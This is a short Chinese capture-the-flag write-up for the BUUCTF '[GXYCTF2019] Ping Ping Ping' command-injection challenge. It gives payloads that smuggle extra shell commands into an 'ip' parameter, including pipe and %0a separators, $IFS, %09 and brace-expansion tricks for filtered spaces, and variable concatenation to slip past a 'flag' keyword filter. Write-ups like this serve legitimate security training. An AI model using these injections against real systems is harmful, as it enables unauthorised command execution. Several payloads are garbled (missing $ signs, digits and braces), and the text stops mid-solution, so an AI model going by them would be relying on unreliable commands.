buuctf[GXYCTF2019]Ping Ping Ping
这个题目的标题是pingping盲猜是关于命令执行的题目
打开环境后
只有一个/ip=?
应该是提示用get的方式来传参一个地址执行ping的操作
直接ping127.0.0.1
回显ping127.0.0.1的数据
说明是一道命令执行的题目
执行:?ip=127.0.0.1|ls
其中|的作用是命令分隔符
还有相关的符号
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
这里采用|来执行
如果全部过滤
过滤了命令分割符,用%0a便可以分隔命令进行查看
127.0.0.1%0als
回显两个文件
直接访问flag.php
回显有过滤空格
既然过滤空格就绕过空格
常见的绕过符号有:
$IFS 9 、 9 、 9、IFS 1 、 1、 1、{IFS} 、%09(php环境下)、 重定向符<>、<、
{cat,flag.php} //用逗号实现了空格功能
采用{cat,flag.php} //用逗号实现了空格功能
构造payload:?ip=127.0.0.1|cat,flag.php
回显过滤了flag这个字符串
尝试拼接绕过;
a=fl;b=ag; a a